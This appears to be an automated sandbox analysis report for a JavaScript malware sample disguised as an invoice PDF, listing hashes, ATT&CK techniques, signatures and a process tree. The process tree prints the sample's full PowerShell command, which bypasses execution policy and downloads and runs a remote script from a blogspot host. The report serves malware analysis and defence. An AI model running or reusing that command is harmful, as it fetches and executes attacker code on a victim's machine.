518e81ea3b49df39a3bc24f9acf467626f9114d5f85f60f7aaefc23932d6fb27

Analysis

max time kernel
149s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
27/04/2026, 08:11

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General

Target
invoice-1645080830.pdf (39).js
Size 21.1MB
Sample260427-j3m7aaes41
SHA256 518e81ea3b49df39a3bc24f9acf467626f9114d5f85f60f7aaefc23932d6fb27
MD5 81c9d8ed619a1e34ceebcf51644937ab
SHA1 84a33a872f9e8a0d9ffb92b1d3cb25407d863c97
SHA512 ac36b530df459fdce453cf967f4fec78a5c65e71c424f3c5cf420f66dc4b63a264301a32717b2c8d877fce05f7c530ba2c892f745aa4069a8783b09ff4f3d646
SSDEEP 49152:h2d9pix2d9piJ2d9piY2d9pia2d9pif2d9piN2d9pi42d9pi02d9pi22d9pi+2dK:d
TLSH
T16E27234BE77D17EC94EC1190103E9D1B2A898C394A3896FA7BE5E8E554FDF0434E6A0C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3740	powershell.exe
3	3740	powershell.exe
4	3740	powershell.exe
6	3740	powershell.exe
7	3740	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3740	powershell.exe
3740	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3740	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 3168 wrote to memory of 3740	3168	wscript.exe	79

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\invoice-1645080830.pdf (39).js"
1⤵
- Suspicious use of WriteProcessMemory
PID:3168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 17
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3740

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_u2kpd5q2.g4i.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u2kpd5q2.g4i.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3740-1-0x000002DFA7660000-0x000002DFA7670000-memory.dmp

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memory/3740-0-0x000002DFA7660000-0x000002DFA7670000-memory.dmp

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memory/3740-7-0x000002DFA7810000-0x000002DFA7832000-memory.dmp

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memory/3740-9-0x000002DFA7660000-0x000002DFA7670000-memory.dmp

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memory/3740-11-0x000002DFA7660000-0x000002DFA7670000-memory.dmp

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memory/3740-10-0x000002DFA7660000-0x000002DFA7670000-memory.dmp

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memory/3740-12-0x000002DF8F5B0000-0x000002DF8F5C2000-memory.dmp

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memory/3740-13-0x000002DFA7660000-0x000002DFA7670000-memory.dmp

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